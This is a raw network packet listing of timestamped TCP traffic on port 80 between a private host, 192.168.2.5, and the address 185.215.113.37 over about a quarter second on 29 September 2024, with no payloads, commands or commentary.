Sep 29, 2024 02:00:06.965888023 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.965897083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.965924978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.965936899 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.966666937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.966677904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.966686964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.966716051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.966744900 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.966749907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.966759920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.966768980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.966778994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.966797113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.966825008 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.967772961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.967782021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.967792034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.967802048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.967812061 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.967822075 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.967824936 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.967834949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:06.967845917 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.967866898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:06.967901945 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093029976 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093049049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093060017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093071938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093080997 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093091965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093139887 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093151093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093164921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093174934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093194962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093218088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093301058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093317032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093346119 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093367100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093374014 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093378067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093415976 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093549013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093594074 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093594074 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093606949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093642950 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093648911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093658924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093668938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093688011 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093715906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093929052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093976021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093976974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.093986988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.093997002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094017029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.094031096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.094197989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094208002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094218016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094254971 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.094300032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094310999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094321012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094331980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094341993 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094393015 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.094408035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.094746113 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094754934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094765902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094794989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094798088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.094805002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094815016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094815016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.094829082 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094846964 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.094871044 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.094949961 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094959974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094969034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094979048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094989061 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.094995022 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.095000029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095014095 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.095035076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.095573902 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095612049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095630884 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.095657110 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.095659018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095670938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095679998 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095704079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.095727921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.095890999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095901012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095911026 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095944881 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.095971107 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.095980883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.095989943 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.096000910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.096016884 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.096035004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098011017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098022938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098040104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098050117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098059893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098092079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098110914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098120928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098160982 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098177910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098189116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098210096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098221064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098222971 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098232985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098244905 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098257065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098273039 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098297119 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098309994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098320007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098330975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098340034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098356962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098386049 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098886967 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098897934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098908901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098925114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098934889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098941088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098946095 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098959923 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.098963022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.098985910 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.099003077 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.099034071 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099046946 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099056005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099066973 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099076986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099081993 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.099113941 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.099673986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099692106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099700928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099735022 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.099754095 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.099806070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099817038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099827051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099838018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099850893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099852085 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.099860907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.099884033 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.099899054 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.181452036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.181468964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.181487083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.181497097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.181508064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.181519032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.181596041 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.181660891 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.222465992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222481012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222500086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222516060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222526073 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222534895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222544909 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222560883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222569942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222580910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222589970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222599983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222610950 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222610950 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.222661018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222670078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222680092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222686052 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.222728968 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.222822905 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222840071 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222868919 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.222882032 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222893953 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.222918987 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.222929001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222969055 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222973108 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.222985029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.222995043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223005056 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223011971 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223030090 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223037004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223041058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223066092 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223089933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223115921 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223124981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223134041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223161936 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223179102 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223190069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223200083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223215103 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223223925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223232031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223233938 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223252058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223261118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223263979 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223270893 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223283052 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223292112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223313093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223325014 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223339081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223366022 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223381996 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223407984 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223418951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223428011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223434925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223454952 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223470926 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223473072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223490000 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223499060 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223510027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223520041 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223551035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223572969 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223582983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223615885 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223639965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223650932 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223659992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.223686934 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.223705053 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224014997 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224024057 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224044085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224069118 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224093914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224103928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224113941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224128008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224136114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224152088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224179029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224183083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224225044 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224236012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224246979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224287033 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224306107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224318027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224328041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224350929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224361897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224366903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224373102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224383116 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224409103 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224432945 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224505901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224515915 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224525928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224534988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224545002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224555969 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224556923 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224591017 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224617004 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224627972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224637985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224661112 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224685907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224714041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224724054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224733114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224759102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224759102 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224769115 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224778891 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224780083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224807978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224831104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224843025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224853039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224862099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224873066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224889994 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224915028 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.224936008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224947929 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.224981070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.225012064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225022078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225033045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225061893 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.225078106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225081921 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.225089073 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225099087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225120068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225121021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.225152016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.225176096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225183010 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.225186110 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225213051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:07.225263119 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225272894 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225282907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:07.225294113 CEST	80	49704	185.215.113.37	192.168.2.5
